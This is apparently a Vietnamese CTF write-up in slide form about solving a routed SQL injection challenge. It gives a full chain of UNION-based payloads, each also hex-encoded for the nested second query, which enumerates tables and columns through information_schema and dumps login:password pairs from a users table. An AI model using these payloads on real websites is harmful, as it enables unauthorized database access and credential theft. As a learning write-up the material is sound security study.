# SQL Injection Routed
---
<!-- Put the link to this slide here so people can follow -->
Tham khảo về sql kiểu này ở đây: https://blog.improsec.com/tech-blog/routed-sql-injection
---

khi bắt đầu với challenge này thì mình cũng khá lạ vì chưa gặp kiểu sql này. mình bắt đầu vào challenge thử.

Sau khi vào đây mình tiến hành thử payload như bình thường để kiểm tra sql injection
=> payload: 1'

mình thấy được xảy ra lỗi tiến hành mình thử tiếp với
=> payload: 1' union select 1-- -

thì nó trả về kết quả và không xảy ra lỗi nữa. tới đây mình lại tiếp tục payload để kiểm tra thử sql.
=> payload: 1' union select 1,2,3-- -

mình lại thấy nó hiển thị thông báo attack không trả về gì nữa. Mình không biết xử lí tiếp như nào mình loay hoay tầm gần 1 tiếng mình search gg thì tìm hiểu thì với cách hiểu của mình thì nó sử dụng truy vấn 2 nó sẽ lồng vào truy vấn 1 tức đầu ra của truy vấn 1 lại đầu vào của truy vấn 2.
- mình đọc thì có thấy sử dụng payload thường thì nó sẽ không tra về gì mình đi hex mã đó ra và payload
- Có thể sử dụng tool ở đây: https://www.convertstring.com/vi/EncodeDecode/HexEncode
=> payload thường: 1' union select ' order by 3-- -
=> payload hex: 1' union select 0x27206F7264657220627920332D2D202D-- -
sau khi đưa payload vô thì nó báo

=> suy ngay 2 cột luôn ngon rồi đi đấm nó thôi
đưa payload test tiếp
=> 1' union select ' union select 1,2-- - -- -
=> hex: 1' union select 0x2720756E696F6E2073656C65637420312C322D2D202D-- -

Tới đây mình sẽ thực hiện khai thác vào tk email bởi 1 là mục id rồi mục email này chứa chuỗi
- 1' union select ' union select 1,table_name from information_schema.tables where table_schema=database()-- - -- -
- hex: 1' union select 0x2720756E696F6E2073656C65637420312C7461626C655F6E616D652066726F6D20696E666F726D6174696F6E5F736368656D612E7461626C6573207768657265207461626C655F736368656D613D646174616261736528292D2D202D-- -

lụm được users tới đây xuất cột nó ra bằng cách sử dụng group_concat để lấy các cột trong bảng user ra
- 1' union select ' union select 1, group_concat(column_name) from information_schema.columns where table_name = 'users'-- - -- -
- hex: 1' union select 0x2720756E696F6E2073656C65637420312C2067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F6E616D65203D20277573657273272D2D202D-- -
- 
Quá đã lụm được rồi tới đây chỉ cần concat tk login vs password là end.
- 1' union select ' union select 1, concat(login,':',password) from users-- - -- -
- hex: 1' union select 0x2720756E696F6E2073656C65637420312C20636F6E636174286C6F67696E2C273A272C70617373776F7264292066726F6D2075736572732D2D202D-- -
----> Lụm thôi password:

---
# :100: :muscle: :tada:
### Thank you! :sheep:
You can find me on
- GitHub: https://github.com/Capt-Webk5